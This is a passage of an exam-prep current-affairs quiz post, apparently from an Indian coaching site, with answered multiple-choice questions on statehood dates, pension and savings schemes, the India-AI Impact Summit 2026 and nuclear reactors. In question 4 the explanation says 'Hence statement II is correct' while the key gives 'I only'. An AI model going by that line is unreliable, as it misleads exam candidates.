{"id":2819,"date":"2026-01-22T16:00:07","date_gmt":"2026-01-22T16:00:07","guid":{"rendered":"https:\/\/iasquest.com\/?p=2819"},"modified":"2026-02-11T18:46:08","modified_gmt":"2026-02-11T18:46:08","slug":"daily-current-affairs-22-01-2026","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-22-01-2026\/","title":{"rendered":"DAILY CURRENT AFFAIRS \u2013 22.01.2026"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. Which among the following states attained statehood in the year 1972?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">1. Manipur<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">2. Nagaland<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\">3. Meghalaya<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\">4. Tripura<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\">5. Mizoram<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\"><strong>Select the correct answer using the code given below.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\">(a) 1, 2 and 5 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\">(b) 1, 3 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\">(c) 2 and 5 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\">(d) 1, 2, 3, 4 and 5<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\"><strong>Answer: (b) 1, 3 and 4 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-13 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-14 wp-block-paragraph\"><strong>In NEWS:<\/strong> Prime Minister extends greetings to the people of Meghalaya, Manipur and Tripura on their Statehood Day<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-15 wp-block-paragraph\"><strong>Early Independence &amp; Reorganization (1947-1956)<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\">1950: Constitution adopted, establishing Part A, B, C states.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\">1956 (States Reorganisation Act): Major redrawing of states; Andhra Pradesh, Kerala, Karnataka, Madras (later Tamil Nadu) formed.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\"><strong>Linguistic Reorganization (1960s-1970s)<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\">1960: Gujarat &amp; Maharashtra carved from Bombay State.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\">1963: Nagaland formed.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\">1972: Manipur, Meghalaya, &amp; Tripura formed from Assam\/UTs. <strong>Hence option (b) is correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\">1975: Sikkim became a state.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\"><strong>North-East &amp; Post-1980s<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\">1987: Arunachal Pradesh &amp; Goa became states.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\">1990s: UTs of Delhi and Puducherry saw changes.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\"><strong>21st Century Formations<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\">2000: Chhattisgarh (from MP), Uttarakhand (from UP), Jharkhand (from Bihar).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\">2014: Telangana formed from Andhra Pradesh.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\">2019: Jammu &amp; Kashmir bifurcated into two UTs (J&amp;K and Ladakh).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\"><strong>Other Developments<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\">Tamil Nadu: Nov 1, 1956 (as Madras State).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\">Odisha (Orissa): Formed 1936, statehood 1950, renamed 2011.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\">Telangana: June 2, 2014.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\">Chhattisgarh: Nov 1, 2000.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2025)<\/strong> <strong>Q. Consider the following pairs:\u00a0\u00a0<\/strong> \u00a0<br> <strong>State\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0  Description\u00a0<\/strong> <br>1. Arunachal Pradesh &#8211; The capital is named after a fort, and the State has two National Parks\u00a0 <br>2. Nagaland               &#8211;\u00a0 The State came into existence on the basis of a Constitutional Amendment Act \u00a0 <br>3. Tripura\u00a0                  &#8211;\u00a0 Initially a Part &#8216;C&#8217; State, it became a centrally administered territory in 1956, and       <br>                                     later attained full statehood\u00a0 <br><br><strong>How many of the above pairs are correctly matched?\u00a0<\/strong> <br><br>(a) Only one\u00a0 <br>(b) Only two\u00a0 <br><strong>(c) All the three\u00a0<\/strong> <br>(d) None<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-35 wp-block-paragraph\" style=\"color:#0519f3\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2216659&amp;reg=3&amp;lang=1\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2216659&amp;reg=3&amp;lang=1<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-36 wp-block-paragraph\" style=\"color:#0519f3\"><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2216658&amp;reg=3&amp;lang=1\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2216658&amp;reg=3&amp;lang=1<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-37 wp-block-paragraph\" style=\"color:#0519f3\"><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2216657&amp;reg=3&amp;lang=1\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2216657&amp;reg=3&amp;lang=1<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\"><strong>2. With reference to Atal Pension Yojana (APY), consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\">I. It is an old age income security scheme for a savings account holder in the age group of 18-60 years who is not an income tax-payee.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\">II. Each subscriber under APY shall receive a guaranteed minimum pension after the age of 60 years until death.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-41 wp-block-paragraph\">III. Same amount of pension is guaranteed for the spouse for life after subscriber&#8217;s death.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-42 wp-block-paragraph\">IV. Subscriber contribution to APY shall be made through the facility of \u2018auto-debit\u2019 of the prescribed contribution amount from the savings bank account of the subscriber<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-43 wp-block-paragraph\"><strong>Which of the statements given above are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\">(a) I, II and III&nbsp;&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-45 wp-block-paragraph\">(b) I, II and IV&nbsp;&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\">(c) I, III and IV&nbsp;&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-47 wp-block-paragraph\">(d) II, III and IV<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\"><strong>Answer: (d) II, III and IV&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-49 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-50 wp-block-paragraph\"><strong>In NEWS: <\/strong>Cabinet approves continuation of Atal Pension Yojana (APY) and extension of funding support for promotional and developmental activities and gap funding till 2030-31<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\"><strong>Atal Pension Yojana (APY):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-52\">\n<li>Atal Pension Yojana (APY) is an old age income security scheme for a&nbsp;&nbsp; savings account holder in the&nbsp; age group of 18-40 years who is not an income tax-payee. <strong>Hence statement I is incorrect.<\/strong><\/li>\n\n\n\n<li>The scheme helps in addressing the longevity risks among the workers in the unorganized sector and encourages the workers to voluntarily save for their retirement.<\/li>\n\n\n\n<li>The scheme is mainly targeted at the poor, the under-privileged and workers in the&nbsp; unorganized sector.<\/li>\n\n\n\n<li>Contributions to the Atal Pension Yojana (APY) are&nbsp; eligible for tax benefits similar to the National Pension System (NPS) under section 80CCD(1).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-53 wp-block-paragraph\"><strong>Eligibility<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-54\">\n<li>The minimum age of joining APY is 18 years and maximum is 40 years.<\/li>\n\n\n\n<li>The age of exit and start of pension is 60 years.<\/li>\n\n\n\n<li>Subscriber contribution to APY shall be made through the facility of \u2018auto-debit\u2019 of the prescribed contribution amount from the savings bank account of the subscriber on monthly, quarterly or half-yearly basis. <strong>Hence statement IV is correct.<\/strong><\/li>\n\n\n\n<li>The subscribers are required to contribute the prescribed contribution amount from the age of joining APY till the age of 60 years.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\"><strong>Benefits<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\"><strong>Upon exit on attaining 60 years, The subscriber shall receive the following three benefits on attaining the age of 60:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-57 wp-block-paragraph\"><strong>(i) Guaranteed minimum pension amount:<\/strong> Each subscriber under APY shall receive a&nbsp; guaranteed minimum pension of Rs. 1000\/- per month or Rs. 2000\/- per month or Rs. 3000\/- per month or Rs. 4000\/- per month or Rs. 5000\/- per month, after the age of 60 years until death. <strong>Hence statement II is correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\"><strong>(ii) Guaranteed minimum pension amount to the spouse:<\/strong> After the subscriber\u2019s demise, the spouse of the subscriber shall be entitled to receive the same pension amount as that of the subscriber,until death.&nbsp; <strong>Hence statement III is correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-59 wp-block-paragraph\"><strong>(iii) Return of the pension wealth to the nominee of the subscriber: <\/strong>After the demise of both the subscriber and the spouse, the nominee of the subscriber shall be entitled to receive the pension wealth, as accumulated till the&nbsp; subscriber&#8217;s age of 60 years.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\"><strong>Voluntary exit (Exit before 60 Years of age):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-61\">\n<li>The subscriber shall be refunded only the contributions made by him to APY along with the net actual accrued income earned on his contributions (after deducting the account maintenance charges).<\/li>\n\n\n\n<li>However, in case of subscribers who joined the scheme before 31st March 2016 and have received the Government Co-Contribution, shall not receive the same including the accrued income earned thereon.&nbsp;&nbsp;&nbsp;<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-62 wp-block-paragraph\"><strong>For death before 60 years<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-63 wp-block-paragraph\"><strong>Option 1: <\/strong>In case of death of the subscriber before 60 years, option will be available to the spouse of the subscriber to continue contribution in the APY account of the subscriber, which can be maintained in the spouse\u2019s name, for the remaining vesting period, till the original subscriber would have attained the age of 60 years. The spouse of the subscriber shall be entitled to receive the same pension amount as the subscriber until death of the spouse. Such APY account and pension amount would be in addition even if the spouse has his\/her APY account and pension amount in own name.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-64 wp-block-paragraph\"><strong>Option 2:<\/strong> The entire accumulated pension corpus till date under APY will be returned to the spouse \/ nominee.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-background has-link-color\" style=\"background-color:#a8e6cd\"><tbody><tr><td><strong>PYQ REFERENCE: (2016)<\/strong> <br><br><strong>Q. Regarding &#8216;Atal Pension Yojana&#8217;, which of the following statements is\/are correct?<\/strong> <br><br>1. It is a minimum guaranteed pension scheme mainly targeted at unorganized sector workers. <br>2. Only one member of a family can join the scheme. <br>3. Same amount of pension is guaranteed for the spouse for life after subscriber&#8217;s death. <br><br><strong>Select the correct answer using the code given below.<\/strong> <br><br>(a) 1 only <br>(b) 2 and 3 only <br><strong>(c) 1 and 3 only<\/strong> <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-65 wp-block-paragraph\" style=\"color:#0519f3\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2216727&amp;reg=3&amp;lang=1\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2216727&amp;reg=3&amp;lang=1<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-66 wp-block-paragraph\"><strong>3. With reference to Sukanya Samriddhi Yojana, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-67 wp-block-paragraph\">1. It is a government-backed small savings scheme launched under the &#8220;Beti Bachao, Beti Padhao&#8221; campaign in 2015.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-68 wp-block-paragraph\">2. Sukanya Samriddhi Yojana account can be opened at any India Post office or branch of any Public Sector Bank only and is transferable to any location within India.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-69 wp-block-paragraph\">3. Investments made under the scheme qualify for tax benefits under Section 80C of the Income Tax Act, 1961.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-70 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-71 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-73 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-74 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-75 wp-block-paragraph\"><strong>Answer: (c) 1 and 3 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-77 wp-block-paragraph\"><strong>In NEWS: From Savings to Strength: Empowering India\u2019s Girls Through Sukanya Samriddhi Yojana<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-78 wp-block-paragraph\"><strong>Sukanya Samriddhi Yojana:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-79\">\n<li>Sukanya Samriddhi Yojana (SSY) is a government-backed small savings scheme launched<strong> under the &#8220;Beti Bachao, Beti Padhao&#8221; campaign in 2015.<\/strong> <strong>Hence statement 1 is correct<\/strong><\/li>\n\n\n\n<li>It is designed specifically to build a fund for a girl child&#8217;s future education and marriage expenses.<\/li>\n\n\n\n<li>Parents or legal guardians can open an account for their Indian girl child at any India Post office or branch of any Public Sector Bank and <strong>authorised Private Sector Banks (HDFC Bank, Axis Bank, ICICI Bank and IDBI Bank). Hence statement 2 is incorrect<\/strong><\/li>\n\n\n\n<li>The account may be opened anytime from the <strong>birth of the girl child until she attains the age of 10 years.<\/strong><\/li>\n\n\n\n<li><strong>Only one Sukanya Samriddhi Yojana account is permitted per girl child,<\/strong> and a family can open accounts for a maximum of two girl children.<\/li>\n\n\n\n<li>However, <strong>more than two accounts are allowed in cases of twins or triplets,<\/strong> subject to submission of an affidavit along with the relevant birth certificates.<\/li>\n\n\n\n<li>The account is <strong>transferable to any location within India.<\/strong><\/li>\n\n\n\n<li>Notably, the account is managed by the parent\/ guardian until the girl child reaches the age of eighteen.<\/li>\n\n\n\n<li>This allows the guardian to oversee the savings and ensure that the funds are utilized effectively for the child\u2019s education and future needs.<\/li>\n\n\n\n<li><strong>Upon turning eighteen, the account holder can take control of the account herself<\/strong> by submitting the necessary documents.<\/li>\n\n\n\n<li>Parents and guardians can start with a <strong>minimum initial deposit of \u20b9250<\/strong> in the SSY account, and subsequent deposits can be made in multiples of \u20b950, provided that at least \u20b9250 is deposited in a financial year.<\/li>\n\n\n\n<li>The <strong>total annual deposit limit is capped at \u20b91,50,000- <\/strong>any excess amount will not earn interest and will be returned.<\/li>\n\n\n\n<li>Deposits can be made for a period of up to fifteen years from the account opening date.<\/li>\n\n\n\n<li>Calculated every month, the interest is added to the account at the end of each financial year.<\/li>\n\n\n\n<li>An account holder may withdraw up to 50% of the balance available at the end of the preceding financial year for educational purposes. This facility becomes available once the account holder attains the age of eighteen or passes the tenth standard, whichever occurs earlier.<\/li>\n\n\n\n<li>Investments made under the scheme qualify for <strong>tax benefits under Section 80C of the Income Tax Act, 1961. Hence statement 3 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-80 wp-block-paragraph\" style=\"color:#0519f3\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2216748&amp;reg=3&amp;lang=1\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2216748&amp;reg=3&amp;lang=1<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-81 wp-block-paragraph\"><strong>4. Consider the following statements regarding the India-AI Impact Summit 2026:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-82 wp-block-paragraph\">I. It is the first global AI summit hosted in the Global South.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-83 wp-block-paragraph\">II. The summit focuses exclusively on Artificial Intelligence applications in the defence and nuclear sectors.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-84 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-85 wp-block-paragraph\">(a) I only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-86 wp-block-paragraph\">(b) II only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-87 wp-block-paragraph\">(c) Both I and II<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-88 wp-block-paragraph\">(d) Neither I nor II<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-89 wp-block-paragraph\"><strong>Answer: (a) I only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-90 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-91 wp-block-paragraph\"><strong>In NEWS:<\/strong> Inclusive AI for India in focus at AI Impact Summit 2026 official pre-event hosted by AI4India, Intel and IHFC<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-92 wp-block-paragraph\"><strong>India-AI Impact Summit 2026:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-93\">\n<li>The <strong>India\u2013AI Impact Summit 2026<\/strong> is the <strong>first global AI summit hosted in the Global South<\/strong>. <strong>Hence statement I is correct.<\/strong><\/li>\n\n\n\n<li>Dates: <strong>16\u201320 February 2026<\/strong>; Venue: <strong>Bharat Mandapam, New Delhi<\/strong>.<\/li>\n\n\n\n<li>Duration: <strong>Five-day programme<\/strong> covering <strong>policy, research, industry, and public engagement<\/strong>.<\/li>\n\n\n\n<li><strong>Foundational pillars (Sutras):<\/strong> <strong>People, Planet, Progress<\/strong>.<\/li>\n\n\n\n<li><strong>India AI Impact Expo:<\/strong> Over <strong>400 exhibitors<\/strong>, <strong>seven thematic pavilions<\/strong>, <strong>~1.5 lakh visitors<\/strong> expected.<\/li>\n\n\n\n<li>AI is a <strong>key enabler<\/strong> for India\u2019s development, strengthening <strong>governance, public service delivery, and inclusive growth<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-94 wp-block-paragraph\"><strong>AI applications include:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-95 wp-block-paragraph\"><strong>1. Healthcare:<\/strong> Telemedicine, AI diagnostics, disease outbreak prediction, AI-driven drug discovery.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\"><strong>2. Agriculture &amp; Rural Economy:<\/strong> Crop prediction, precision farming, drone monitoring, market price prediction.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-97 wp-block-paragraph\"><strong>3. Education:<\/strong> Personalized learning, AI tutors, multilingual content delivery.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-98 wp-block-paragraph\"><strong>4. Finance &amp; Commerce:<\/strong> Fraud detection, digital transactions, AI-powered credit scoring, chatbots.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-99 wp-block-paragraph\"><strong>5. Governance &amp; Public Services:<\/strong> Smart city management, translation of court judgments, improved service delivery. <strong>Hence statement II is correct.<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-100\">\n<li><strong>Strategic initiatives:<\/strong> IndiaAI Mission, AI compute infrastructure, promotion of indigenous AI models, capacity-building programs.<\/li>\n\n\n\n<li><strong>Seven Chakras<\/strong> for multilateral cooperation:<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-101 wp-block-paragraph\">1. Human Capital \u2013 AI reskilling ecosystem.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-102 wp-block-paragraph\">2. Inclusion for Social Empowerment \u2013 citizen-centric AI solutions.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-103 wp-block-paragraph\">3. Safe and Trusted AI \u2013 responsible and interoperable AI governance.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-104 wp-block-paragraph\">4. Resilience, Innovation, and Efficiency \u2013 sustainable AI adoption.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-105 wp-block-paragraph\">5. Science \u2013 accelerate research in health, agriculture, climate.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-106 wp-block-paragraph\">6. Democratizing AI Resources \u2013 equitable access to AI for startups, researchers, institutions.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-107 wp-block-paragraph\">7. AI for Economic Growth &amp; Social Good \u2013 inclusive growth through high-impact AI use cases.<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-108\">\n<li><strong>Pre-Summit and Regional AI Conferences<\/strong> are organized for early consultations, stakeholder engagement, and sectoral benchmarking.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-background has-link-color\" style=\"background-color:#a2d1ee\"><tbody><tr><td><strong>PYQ REFERENCE: (2025)<\/strong> <br><br><strong>Q. Consider the following statements regarding Al Action Summit held in Grand Palais, Paris in February 2025:<\/strong> <br><br>I. Co-chaired with India, the event builds on the advances made at the Bletchley Park Summit held in 2023 and the Seoul Summit held in 2024. <br>II. Along with other countries, US and UK also signed the declaration on inclusive and sustainable AI. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br><strong>(a) I only<\/strong> <br>(b) II only <br>(c) Both I and II <br>(d) Neither I nor II<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-109 wp-block-paragraph\" style=\"color:#0519f3\"><strong>Source:<\/strong><a href=\"https:\/\/economictimes.indiatimes.com\/ai\/ai-insights\/inclusive-ai-for-india-in-focus-at-ai-impact-summit-2026-official-pre-event-hosted-by-ai4india-intel-and-ihfc\/articleshow\/126965126.cms\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/economictimes.indiatimes.com\/ai\/ai-insights\/inclusive-ai-for-india-in-focus-at-ai-impact-summit-2026-official-pre-event-hosted-by-ai4india-intel-and-ihfc\/articleshow\/126965126.cms<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-110 wp-block-paragraph\" style=\"color:#0519f3\"><a href=\"https:\/\/static.pib.gov.in\/WriteReadData\/specificdocs\/documents\/2026\/jan\/doc2026120762701.pdf\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/static.pib.gov.in\/WriteReadData\/specificdocs\/documents\/2026\/jan\/doc2026120762701.pdf<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\"><strong>5. Consider the following statements regarding India\u2019s Light Water Reactor (LWR) and nuclear programme:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-112 wp-block-paragraph\">1. Light Water Reactor (LWR) use ordinary water as both coolant and moderator and are fueled by enriched uranium.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-113 wp-block-paragraph\">2. The SHANTI Act, 2025, allows private companies to set up nuclear power plants and undertake import\/export of nuclear fuel and technology.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-114 wp-block-paragraph\"><strong>Which of the statements given above are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-115 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-116 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-117 wp-block-paragraph\">(c) Both 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-118 wp-block-paragraph\">(d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-119 wp-block-paragraph\"><strong>Answer: (c) Both 1 and 2<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-120 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-121 wp-block-paragraph\"><strong>In NEWS: <\/strong>India flags the Indigenous Light Water Reactor (LWR) as nuclear priority. But why?<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-122 